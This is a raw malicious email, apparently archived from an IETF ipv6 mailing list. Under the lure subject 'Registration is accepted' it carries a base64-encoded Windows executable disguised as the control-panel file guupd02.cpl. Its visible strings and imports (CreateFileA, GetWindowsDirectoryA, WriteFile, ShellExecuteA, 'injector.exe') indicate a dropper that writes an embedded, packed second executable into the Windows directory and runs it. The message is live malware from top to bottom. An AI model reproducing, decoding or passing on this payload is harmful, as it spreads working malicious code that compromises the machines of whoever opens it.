28dc73ba51024f450a593b05aa945739 Subject: Registration is accepted X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 231d7929942febf3be8fd5be2903302f ----------evwbyfouhblkhydcgszu Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Before use read the help
----------evwbyfouhblkhydcgszu Content-Type: application/octet-stream; name="guupd02.cpl" Content-Disposition: attachment; filename="guupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAGJ8AAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAABiTAAAADAAAGJMAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXkwAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAJzzAAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACijAADRAAAAAPAAAJwDAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAC1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAAQgAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAJwDAAAA8AAA nAMAAABEAAAAAAAAAAAAAAAAAAAgAADg63INCnl1dXZlbG50Ymdma2Jramhoa2dqZ3Zrdmtn Z3RrYmJqYmcNCmxoaGdnamZkZ2RjZGhnaHRmaGpoa2p1dWhoamhmZmhqaGpoZw0KbGhoZ2dq ZmRnZGZkZnJldHJldGV5ZmVydGVydGV0ZXRmZGhnDQpg6AEAAADog8QE6AEAAADpXYHtTSJA AOiHAgAA6OsT6wLNIP8kJJpkc2pnamhqa2V3cWa+R0boAQAAAJpZjZXSIkAA6AEAAABpWGa/ TXPoNwIAAI1S+egBAAAA6FtozP/imsTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP/k aGpoamdsamxramn/pT4lQADp6Ib////rAs0gi8TrAs0ggQAWAAAAD4X0AQAAaegAAAAAWJlq FVqNBAJQ6MABAABmPYbzdAPpjZV0I0AA6LUBAADoAQAAAGmDxASNvcMlQAC54D0AALqgpztT igf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrCKsbSwNLIMsHTwogHR0l10ugBAAAA6IPE BA8L6CvSZIsCiyBkjwJYXcOai5U+JUAA6EkBAADoAQAAAMeDxAS7c3oAAGoEaAAwAABTagD/ lUIlQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2VwyVAAFLoDgAAAOgBAAAAaYPEBFpe DlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAAcxorwOhaAAAAcyBBsBDoUAAAABLAc/d1 QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVz BoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLSw+slNlU5NlU5OlU5NlVDNlU5NlUPOTZV OTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP///3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUP OTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFpWFj/4FlSVY2FZiNAAFArwGT/MGSJIOsD x4ToUcPrA8eEmllB6/AAAAAAAAAAAGyjAAAAAAAAAAAAAISjAABsowAAZKMAAAAAAAAAAAAA kaMAAGSjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOejAAAAAAAAnKMAAK2jAAC8owAAyqMAANmj AAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwAAABHZXRQcm9jQWRkcmVzcwAAAExvYWRM aWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVhbEFsbG9jAAAAVmlydHVhbEZyZWUAAABN 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 